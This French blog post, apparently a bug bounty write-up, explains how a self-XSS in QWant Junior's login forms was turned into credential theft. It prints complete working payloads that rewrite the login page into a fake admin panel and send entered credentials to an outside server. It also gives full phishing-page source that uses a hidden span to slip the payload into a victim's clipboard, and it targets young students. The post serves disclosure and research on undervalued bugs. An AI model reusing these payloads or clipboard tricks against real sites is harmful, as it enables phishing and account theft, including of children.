Les Auto-XSS (Self-XSS) sont un cas très particulier d’XSS, où la victime et l’attaquant ne forme qu’une seule et même personne. L’attaquant est à même d’exécuter une injection dans le navigateur, mais seul lui peut le faire. Comment élever et exploiter une telle injection afin de gagner en criticité ?
tl;dr : Utiliser la technique du WYSINWYC pour camoufler le payload d’une Self-XSS – Vidéo PoC ici
Introduction
Pas de lien avec un payload en GET à partager (phishing / spear-phishing), pas de possibilité d’automatiser l’exécution du payload en POST avec un form auto-submit, pas de pages publiques que des victimes pourraient visiter afin de subir le vecteur d’attaque stocké. Ce type d’XSS est confiné en lieu et place où l’injection est située et donc s’avère relativement infertile pour des attaques à plus grande échelle.
Beaucoup sous-estiment les XSS, et en particulier les Self-XSS. Elles sont en effet les « plus faibles » et les « moins exploitables » des XSS. La plupart des programmes de Bug Bounty par exemple, exclus directement ce type de vecteur d’attaque ; ce qui selon moi est une erreur.
Ce type d’XSS, les Self-XSS, reposent sur plusieurs facteurs pour être exploitables et impacter de réelles victimes :
- Un scénario crédible et abusant de la crédulité des victimes pour qu’elles s’auto-attaquent ;
- Une insouciance toute particulière des victimes (population non-technique, jeunes, seniors non-technophiles, etc.).
Récemment, au cours de la participation à un Bug Bounty (bountyfactory.io, la plateforme de référence européenne), j’ai pu déceler une Self-XSS avec mon cher Emiya au sein d’un formulaire d’authentification. Le programme en question n’indiquait pas explicitement que les « Self-XSS étaient exclues » (du moins pas encore). Ainsi, j’ai tenté ma chance avec un PoC et ce fût finalement accepté (et récompensé, avant que cette famille d’XSS soient officiellement exclues).
Ce présent article détaille et décrit la mise en place d’un PoC concret d’exploitation d’une Self-XSS au travers de la technique WYSINWYC.
Self-XSS Reflected DOM-based
Déclenchement de la Self-XSS
La Self-XSS découverte dans le cadre de ce Bug Bounty pour le programme du moteur de recherche QWant, impactait plusieurs sous-espaces d’authentification d’apparence similaire :
Le payload suivant suffisait pour produire une alerte canonique en conservant la structure de la page :
"><img src=x onerror=alert(1337)><input type=hidden value="
Une fois le formulaire soumis, l’XSS est déclenchée (fired/triggered) :
On observe :
- Une déstructuration de la page si le payload n’est pas convenablement formaté, ce qui indique clairement la présent d’une injection possible ;
- Aucune requête GET ou POST n’est réalisée sur la page elle-même une fois le formulaire soumis (DOM-XSS) ;
- Les crédentiels sont vérifiés via un appel d’API Ajax (non-exploitable) ;
- La page n’est pas rechargée après soumission du formulaire, l’XSS se déclenche au niveau du DOM et n’apparaît pas dans le code-source initial ;
- Le payload n’est pas stocké côté serveur, il est réfléchi au moment de la soumission ;
- Il n’est donc pas possible de produire une URL+payload ou une page form-auto-submit+payload permettant de déclencher cette XSS. C’est une Self-XSS auto-exploitable uniquement.
On en conclu que cette XSS est donc une Self-XSS Reflected et DOM-based. Son caractère « DOM-based » la rend compatible avec tous les navigateurs, toutes versions confondues, qu’ils aient un « moteur anti-XSS » ou non.
Au sein du modèle de classification des XSS, celle-ci se situe ici :
Contrainte du vecteur d’attaque
Dans le cadre de cette Self-XSS, le payload précédent (simple alert-box canonique) est chargé à la volée dans le champ « username » et « password ». L’idée serait de faire un payload plus évolué (qu’une simple alerte) pour produire un scénario d’attaque crédible.
Seulement, les serveurs de QWant imposent plusieurs contraintes liées à des mécanismes de sécurité implémentés au travers d’en-têtes (header) HTTP. En effet, cette page de login retourne les headers suivants :
Les en-têtes suivantes imposent des contraintes au futur payload:
- « X-XSS-Protection: 1; mode=block » : si le browser intègre un moteur « anti-XSS », celui-ci sera obligatoirement activé. Seulement notre XSS est DOM-based, donc elle contourne (bypass) cette protection.
- « Content-Security-Policy: default-src * data: blob:; script-src ‘unsafe-inline’ ‘unsafe-eval’ data: *.qwantjunior.com *.qwant.com; style-src ‘unsafe-inline’ data: *.qwantjunior.com *.qwant.com; » : ce header empêche le chargement de ressources tierces (style CSS, script JS) depuis des serveurs autres que *.qwantjunior.com ou *.qwant.com.
Il n’est pas possible pour l’attaquant de charger un fichier JS arbitraire stocké sur son propre serveur « https://www.attacker.com/x.js ». Il faut donc réaliser un payload d’XSS standalone et one-liner. Les deux inputs (username et password) n’imposent pas de contraintes sur le nombre de caractères, le payload peut donc être quelconque.
Conception d’un scénario et exploitation
Payload Self-XSS de vol de crédentiels
Plutôt qu’une « simple alerte » en JavaScript en guise d’illustration de l’injection, l’idée va être de produire un PoC de scénario d’attaque plausible.
Les mires de login vulnérables de la cible portent sur le domaine « *.qwantjunior.com », à savoir une version du « moteur de recherche européen » dédiée aux jeunes. L’autre domaine vulnérable, « edu.qwantjunior.com » est l’adaptation du moteur pour le monde de l’éducation.
Sur ces moteurs de recherche, les jeunes élèves peuvent donc se créer un compte ; et comme beaucoup de jeunes étudiants, nombreux sont ceux particulièrement intéressés par « le piratage », « la possibilité de modifier leurs notes d’examens » ou prendre le contrôle des comptes administratifs des professeurs par exemple.
C’est sur la base de ce constat que nous allons produire le PoC. L’idée au travers de la Self-XSS va être de modifier le DOM de la page courante, pour faire croire que l’utilisateur s’est connecté-authentifié via un compte d’administration et qu’il peut gérer tous les comptes des étudiants.
Plusieurs problèmes d’affichage sont présents :
- La page de login affiche le lien « Connexion » en haut à droite ;
- Tout le formulaire de connexion doit disparaître (ou être réécrit) ;
- Le titre sur la page « h1 » doit être changé plutôt que d’afficher « Connexion » ;
- Le lien « Mot de passe perdu ? » figure aussi sur la page ;
- Finalement, lorsqu’on se connecte avec un payload (donc un nom d’utilisateur et mot de passe invalide), un message d’erreur de connexion apparaît à l’écran.
La première phase du payload va être de nettoyer la page de ces différentes informations pour réellement faire croire que la victime s’est bien connectée / authentifiée :
document.getElementById('alert_1').style='display:none'; document.getElementById('c_5').style='display:none'; document.getElementsByTagName('a')[7].innerHTML=''; document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';
En ce qui concerne la réécriture du formulaire, on affiche un message attractif de phishing :
document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';
Finalement, on modifie la cible du formulaire (action), pour pointer vers un script sur le serveur du pirate (pour voler les identifiants) :
document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';
En chaînant toutes les instructions, on obtient le payload suivant que l’on injecte dans le champ « username » pour tester :
"><img src=x onerror="document.getElementById('alert_1').style='display:none';document.getElementById('c_5').style='display:none'; ;document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';document.getElementsByTagName('a')[7].innerHTML='';document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';">
Une fois le formulaire soumis (et l’XSS déclenchée), le rendu est le suivant :
En comptant sur la crédulité et l’insouciance d’une jeune victime, un tel formulaire serait tout à fait fonctionnel. L’étudiant en question, pensant être connecté sous le compte d’un administrateur / professeur de son école, indiquera sans sourciller son propre login / password (qui se feront dérober par l’attaquant) en vue de gérer son propre compte.
Bon, nous avons un PoC fonctionnel, mais difficile de trouver une victime qui copie/collera tout le payload précédant sans se poser de question dans le champ « username » du formulaire… Il faut donc se débrouiller pour qu’il copie/colle se payload au complet à son insu et sans s’en rendre compte, c’est là que la technique du WYSINWYC entre en jeu.
WYSINWYC – What You See Is Not What You Copy
La technique du WYSINWYC (What You See Is Not What You Copy – Ce Que Vous Voyez N’est Pas Ce Que Vous Copiez) est un HTML-CSS-tricks pour injecter des données dans le presse-papier (clipboard) d’une victime, différentes de celles que la victime pense avoir copié.
En résumé, l’idée est d’insérer une balise « span » cachée (via du CSS), contenant des données arbitraires (le payload), au milieu d’un texte légitime visuellement que la victime pourra copier/coller.
Un de mes précédents article relatait de cette technique. Celle-ci peut être très largement employée, notamment pour tout ceux copiant/collant des lignes de commandes ou des bouts de code source trouvés sur l’Internet, sans réellement vérifier ce qu’ils copient.
L’illustration suivante, animée, démontrent clairement le principe :
Bien évidemment, dans le cas du PoC courant pour réaliser un scénario concret avec une « Self-XSS », l’idée va être d’ajouter un payload XSS dans le presse-papier, et non pas des enchaînements de commandes comme dans l’exemple ci-dessus.
Ainsi, l’attaquant va créer une page de phishing proposant aux victimes de copier/coller un login et un password d’administrateur. Bien évidemment, l’action de « copie » du login injectera le payload dans le presse-papier de la victime.
A l’affichage, le login sera « PWN1337 » par exemple. Or en réalité, à la copie de ce dernier, le presse-papier contiendra :
PWN1337 [MULTIPLE WHITE SPACE TO HIDE PAYLOAD IN INPUT TYPE TEXT] [PAYLOAD]PWN1337 [MULTIPLE WHITE SPACE TO HIDE PAYLOAD IN INPUT TYPE TEXT]
Pour camoufler le payload une fois celui-ci « collé » par la victime dans le champ « input type text », il convient d’ajouter de nombreux « espaces » (whitespaces) afin qu’aucun caractère du payload n’apparaisse à l’écran et éveille les soupçons de la victime.
Remarque :
- Des whitespaces sont ajoutés avant le payload (cas de Chrome qui revient au début de la chaîne insérée lorsque le champ perd le focus – rewind)
- Des whitespaces sont également ajoutés après le payload (cas de Firefox qui ne revient pas au début de la chaîne insérée lorsque le champ perd le focus)
Finalement, le contenu global du presse-papier sera :
Démonstration complète – PoC
La vidéo de démonstration suivante illustre une exploitation complète de la Self-XSS Reflected DOM-based via une page de phishing comprenant le payload camouflé par la technique WYSINWYC :
Source code du PoC :
Hey ! Please go to : <b>https://edu.qwantjunior.com/login</b> or <b>https://qwantjunior.com/login</b> and try this login/password ! It's an admin account !<br /> <p class="codeblock"> Copy and paste this login (in brace) : <b>[PWN<span style="position: absolute; left: -1000px; top: -1000px">1337 "> <img src=x onerror="document.getElementById('alert_1').style='display:none';document.getElementById('c_5').style='display:none'; ;document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';document.getElementsByTagName('a')[7].innerHTML='';document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';"><input type="hidden" value=" xxx <br>PWM</span>1337<span style="position: absolute; left: -1000px; top: -1000px"> </span>]</b> </p> <br /> Copy and paste this password (in brace) : <b>[P4sSw0Rd]</b>
Conclusion
Les Self-XSS sont les plus « faibles » des XSS, mais ne doivent pas pour autant être ignorées, en particulier si celles-ci sont DOM-based et contournent donc tous les moteurs anti-XSS (elles fonctionnent sous Chrome, Firefox, IE, Edge…). Il est possible d’employer diverses techniques pour leurrer une victime comme détaillé dans cet article, afin qu’elle ne se rende compte de rien vis-à-vis d’une exploitation d’un attaquant.
La technique du WYSINWYC est particulièrement adaptée pour ce type de scénario.
Je ne peux que vous encourager à chasser toutes formes d’XSS, Self-XSS comprises. Elles ne sont pas à ignorer, ni a qualifier en « won’t fix » par les Bug Bounty ; ça reste mon avis personnel 🙂 !
Je tiens pour finir à saluer les équipes de QWant et bountyfactory.io pour leur amabilité et leur rapidité de correction. Merci également à eux pour avoir considéré ce vecteur d’attaque (bien qu’à présent les détails de leur programme Bug Bounty stipulent que les Self-attack sont hors-périmètre ;)).
Sources & ressources